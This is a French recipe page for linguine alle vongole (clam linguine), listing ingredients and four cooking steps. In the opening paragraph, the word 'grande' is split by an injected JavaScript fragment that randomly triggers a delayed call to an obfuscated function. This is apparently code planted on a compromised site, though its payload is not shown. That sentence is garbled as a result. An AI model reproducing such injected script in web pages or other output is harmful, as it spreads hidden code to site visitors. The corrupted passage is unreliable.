Linguines all vongole (Ou pâtes plates à ruban)

2021-02-10

Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau bouillante salée, plongez les linguines. Portez à ébullition, faites cuire les pâte, en respectant le temps de cuisson indiqué sur le paquet.

Ingrédients

  • Pour 4 personnes
  • 400 g de linguines (où pâte plate à ruban)
  • 600 g de vongole (Ou coques)
  • 2 cuillères à soupe de persil plat
  • 1 verre de vin blanc sec
  • 3 cuillères à soupe d'huile d'arachide
  • 2 gousses d'ail

Préparation de la recette

Etape 1

Dans une grande quantité d'eau bouillante salée, plongez les linguines. Portez à ébullition, faites cuire les pâte, en respectant le temps de cuisson indiqué sur le paquet.

Etape 2

Pelez, coupez en deux les gousses d'ail. Ôtez le germe. Hachez-les finement. Enrobez les vongole où pâtes dans l'huile. Mouillez avec le vin blanc sec. Incorporez 20 g de beurre, l'ail hachée, poivrez généreusement. Salez à la fleur de sel.

Etape 3

Dès que les vongole commencent à s'ouvrir, parsemez de persil plat. Bien mélanger, et faites mijoter sur feu doux pendant 5 minutes. Couvrez et réservez au chaud avec un fond de jus de cuisson.

Etape 4

Déposez les coques dans une cocotte, faites les réchauffer sur feu doux pendant quelques minutes avec 2 cuillères à soupe d'eau de cuisson, poivrez et servez rapidement.

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